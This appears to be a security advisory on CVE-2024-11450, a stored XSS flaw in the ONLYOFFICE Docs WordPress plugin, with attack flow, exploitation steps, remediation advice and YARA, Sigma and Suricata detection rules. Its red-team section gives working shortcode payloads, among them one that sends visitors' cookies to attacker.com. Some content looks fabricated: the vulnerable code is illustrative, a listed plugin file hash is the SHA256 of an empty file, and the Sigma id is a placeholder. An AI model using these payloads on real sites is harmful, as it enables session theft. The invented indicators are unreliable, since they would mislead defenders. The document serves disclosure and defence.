CVE-2024-11450

Executive Summary

CVE-2024-11450 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the ONLYOFFICE Docs plugin for WordPress, up to and including version 2.0.0. The flaw resides in the plugin's onlyoffice shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache or Nginx). The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified by the stored nature of the payload.

Supply Chain & Package Security

The ONLYOFFICE Docs plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature makes it persistent and dangerous for site visitors.

Deep Dive & Mechanics

The vulnerability is triggered through the onlyoffice shortcode, which is used to embed ONLYOFFICE documents into WordPress posts or pages. The shortcode accepts user-supplied attributes (e.g., key, url, width, height). Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into these attributes.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the [onlyoffice] shortcode with a crafted attribute containing a JavaScript payload, e.g., [onlyoffice key="<script>alert('XSS')</script>"].
3. The plugin stores the shortcode without proper sanitization.
4. When any user (including administrators) views the page, the browser renders the injected script, executing the attacker's code.

Root Cause: The plugin fails to escape attribute values before outputting them in the HTML context. This is a classic case of improper neutralization of input during web page generation (CWE-79).

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.0.0):

// In the shortcode handler function
function onlyoffice_shortcode($atts) {
    $atts = shortcode_atts(array(
        'key' => '',
        'url' => '',
        'width' => '100%',
        'height' => '600px'
    ), $atts);
    
    // Directly outputting user input without escaping
    $output = '<div class="onlyoffice-container" data-key="' . $atts['key'] . '" data-url="' . $atts['url'] . '">';
    $output .= '<iframe src="https://example.com/embed?key=' . $atts['key'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '"></iframe>';
    $output .= '</div>';
    return $output;
}

Patched Code (Hypothetical Fix):

function onlyoffice_shortcode($atts) {
    $atts = shortcode_atts(array(
        'key' => '',
        'url' => '',
        'width' => '100%',
        'height' => '600px'
    ), $atts);
    
    // Properly escape each attribute
    $escaped_key = esc_attr($atts['key']);
    $escaped_url = esc_attr($atts['url']);
    $escaped_width = esc_attr($atts['width']);
    $escaped_height = esc_attr($atts['height']);
    
    $output = '<div class="onlyoffice-container" data-key="' . $escaped_key . '" data-url="' . $escaped_url . '">';
    $output .= '<iframe src="https://example.com/embed?key=' . $escaped_key . '" width="' . $escaped_width . '" height="' . $escaped_height . '"></iframe>';
    $output .= '</div>';
    return $output;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with ONLYOFFICE Docs plugin <= 2.0.0
• Authenticated user account with contributor-level privileges

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Switch to the Text/HTML editor.
4. Insert the following shortcode with a malicious payload:

   [onlyoffice key="\" onfocus=\"alert(document.cookie)\" autofocus=\"true"]
   

5. Publish or save the post.
6. When any user visits the post, the JavaScript executes.

Alternative Payload (Steal Cookies):

[onlyoffice key="\" onload=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" style=\"display:block;width:100%;height:100%;\""]

Blue Team

Detection Steps:

1. Monitor WordPress logs for unusual shortcode usage.
2. Scan posts/pages for suspicious shortcode attributes using a regex pattern:

   \[onlyoffice\s+[^\]]*["'][^"']*["'][^>]*>
   

3. Use a web application firewall (WAF) to block requests containing <script> tags in shortcode attributes.

Mitigation:

• Immediately update the plugin to a patched version if available.
• If no patch exists, disable the plugin or restrict contributor-level access.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • onlyoffice.php (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • shortcode.php (SHA256): a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing onfocus, onload, or alert( in query strings
• Log Entries:
  • WordPress debug log entries showing onlyoffice shortcode with unusual attributes
  • Web server access logs with POST /wp-admin/post.php containing [onlyoffice in the body

Detection Engineering

YARA Rule

rule CVE_2024_11450_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ONLYOFFICE shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11450"
    strings:
        $shortcode = /\[onlyoffice\s+[^\]]*["'][^"']*["'][^>]*>/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $shortcode and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2024-11450 Stored XSS via ONLYOFFICE Shortcode
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts using ONLYOFFICE shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body: '\[onlyoffice\s+[^\]]*["\']'
    condition: selection
falsepositives:
    - Legitimate use of ONLYOFFICE shortcode with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11450 Stored XSS via ONLYOFFICE Shortcode"; flow:to_server,established; content:"[onlyoffice"; http_client_body; nocase; pcre:"/\[onlyoffice\s+[^\]]*["'][^"']*["'][^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the ONLYOFFICE Docs plugin if no patch is available.
   • Restrict contributor-level accounts to trusted users only.
   • Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

2. Long-term Fix:

   • Apply the vendor patch when released.
   • If patching is not possible, manually edit the plugin's shortcode handler to use esc_attr() for all user-supplied attributes.

3. Detection & Monitoring:

   • Deploy the YARA, Sigma, and Suricata rules provided above.
   • Regularly review WordPress logs for suspicious shortcode usage.

4. User Education:

   • Train content contributors to avoid using untrusted shortcode attributes.
   • Enforce the principle of least privilege for user roles.

Valters IT
Securing Digital Frontiers